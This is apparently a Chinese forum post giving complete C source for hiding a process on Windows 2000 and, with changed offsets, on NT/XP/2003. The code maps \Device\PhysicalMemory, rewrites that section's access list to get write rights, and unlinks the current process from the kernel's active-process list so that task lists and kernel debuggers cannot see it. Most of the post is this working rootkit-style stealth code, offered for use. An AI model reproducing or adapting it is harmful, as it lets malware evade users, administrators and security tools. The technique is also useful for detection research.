Win2000下进程隐藏的一种方案

　十分抱歉，匆匆写了几句代码有点bug，即“ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes)”使得第一次运行返回失败，请删除原文，改正为：

               pjf (jfpan20000@sina.com)

　　上次在CVC提到了这东西，因为很简单觉得没必要多说什么，但有人要求写全，所以补充几句：

　　很多帖子对此论题作了分析，比如APIHOOK、系统服务HOOK等等，至于远线程注入没有自己的进程，本不算“隐藏”。

　　这里写一个2000下的完全隐藏方法，很简单，也没什么新意。

　　在讲解之前，首先提一提一些结构，进程执行体块中有数个进程相关链，其中之一是活动进程链。此链的重要
作用之一就是在查询系统信息时供遍历当前活动进程，很有意思的是M$可能因效率因素使它被排除出进程核心块，
意味进线程切换等操作时并不利用它，进一步说改写它也不该有不可忽视的问题（此即本方案的基础）。

　　怎么做很明显了，在活动进程双向链中删除想要得隐藏的进程既可，核心调试器（如softice/proc）亦查不出来。

　　2000下的隐藏当前进程的代码如下：

#include
#include
#include

#define NT_SUCCESS(Status)      ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH    ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
  NTSTATUS  Status;
  ULONG    Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
  USHORT    Length;
  USHORT    MaximumLength;
  PWSTR    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT       0x00000002L
#define OBJ_PERMANENT      0x00000010L
#define OBJ_EXCLUSIVE      0x00000020L
#define OBJ_CASE_INSENSITIVE  0x00000040L
#define OBJ_OPENIF       0x00000080L
#define OBJ_OPENLINK      0x00000100L
#define OBJ_KERNEL_HANDLE    0x00000200L
#define OBJ_VALID_ATTRIBUTES  0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
  ULONG    Length;
  HANDLE    RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG    Attributes;
  PVOID    SecurityDescriptor;
  PVOID    SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
            OUT PHANDLE SectionHandle,
            IN ACCESS_MASK DesiredAccess,
            IN POBJECT_ATTRIBUTES ObjectAttributes
            );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(        
             IN OUT PUNICODE_STRING DestinationString,
             IN PCWSTR SourceString
             );

RTLINITUNICODESTRING    RtlInitUnicodeString;
ZWOPENSECTION      ZwOpenSection;
HMODULE  g_hNtDLL = NULL;
PVOID   g_pMapPhysicalMemory = NULL;
HANDLE   g_hMPM   = NULL;

BOOL InitNTDLL()
{
  g_hNtDLL = LoadLibrary( "ntdll.dll" );
  if ( !g_hNtDLL )
  {
    return FALSE;
  }

  RtlInitUnicodeString =
    (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");
  
  ZwOpenSection =
    (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
  
  return TRUE;
}

VOID CloseNTDLL()
{
  if(g_hNtDLL != NULL)
  {
    FreeLibrary(g_hNtDLL);
  }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
  
  PACL pDacl=NULL;
  PACL pNewDacl=NULL;
  PSECURITY_DESCRIPTOR pSD=NULL;
  DWORD dwRes;
  EXPLICIT_ACCESS ea;
  
  if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
    NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = SECTION_MAP_WRITE;
  ea.grfAccessMode = GRANT_ACCESS;
  ea.grfInheritance= NO_INHERITANCE;
  ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName = "CURRENT_USER";
  
  
  if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
  if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
  {
    goto CleanUp;
  }
  
CleanUp:
  
  if(pSD)
    LocalFree(pSD);
  if(pNewDacl)
    LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
  NTSTATUS    status;
  UNICODE_STRING    physmemString;
  OBJECT_ATTRIBUTES  attributes;
  
  RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );
  
  attributes.Length      = sizeof(OBJECT_ATTRIBUTES);
  attributes.RootDirectory    = NULL;
  attributes.ObjectName      = &physmemString;
  attributes.Attributes      = 0;
  attributes.SecurityDescriptor    = NULL;
  attributes.SecurityQualityOfService  = NULL;
  
  status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
  
  if(status == STATUS_ACCESS_DENIED){
    status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
    SetPhyscialMemorySectionCanBeWrited(g_hMPM);
    CloseHandle(g_hMPM);
    status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
  }

  if( !NT_SUCCESS( status ))
  {
    return NULL;
  }
  
  g_pMapPhysicalMemory = MapViewOfFile(
    g_hMPM,
    4,
    0,
    0x30000,
    0x1000);
  if( g_pMapPhysicalMemory == NULL )
  {
    return NULL;
  }
  
  return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
  ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
  PGDE=BaseAddress[VAddr>>22];
  if ((PGDE&1)!=0)
  {
    ULONG tmp=PGDE&0x00000080;
    if (tmp!=0)
    {
      PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
    }
    else
    {
      PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
      PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
      if ((PTE&1)!=0)
      {
        PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
        UnmapViewOfFile((PVOID)PGDE);
      }
      else return 0;
    }
  }
  else return 0;

  return (PVOID)PAddr;
}

ULONG GetData(PVOID addr)
{
  ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
  PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
  if (tmp==0)
    return 0;
  ULONG ret=tmp[(phys & 0xFFF)>>2];
  UnmapViewOfFile(tmp);
  return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
  ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
  PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
  if (tmp==0)
    return FALSE;
  tmp[(phys & 0xFFF)>>2]=data;
  UnmapViewOfFile(tmp);
  return TRUE;
}

BOOL HideProcessAtAll()
{
  if (InitNTDLL())
  {
    if (OpenPhysicalMemory()==0)
    {
      return FALSE;
    }
    ULONG thread=GetData((PVOID)0xFFDFF124);
    ULONG process=GetData(PVOID(thread+0x22c));
    ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));
    SetData(PVOID(fw+4),bw);
    SetData(PVOID(bw),fw);
    UnmapViewOfFile(g_pMapPhysicalMemory);
    CloseHandle(g_hMPM);
    CloseNTDLL();
  }
  return TRUE;
}

　　调用HideProcessAtAll即隐藏当前进程，如若一运行就隐藏，会修改到进程活动链表头，运行一段时间后可能出现些小问题，怎么解决，留作“课后习题”了^_^

　　注意默认物理地址0x30000为一页目录，在大多数情况时这样，但是是有例外的！怎么解决亦留作“...”吧，不多废话了。

　　稍微改一下偏移可移植于NT/XP/2003。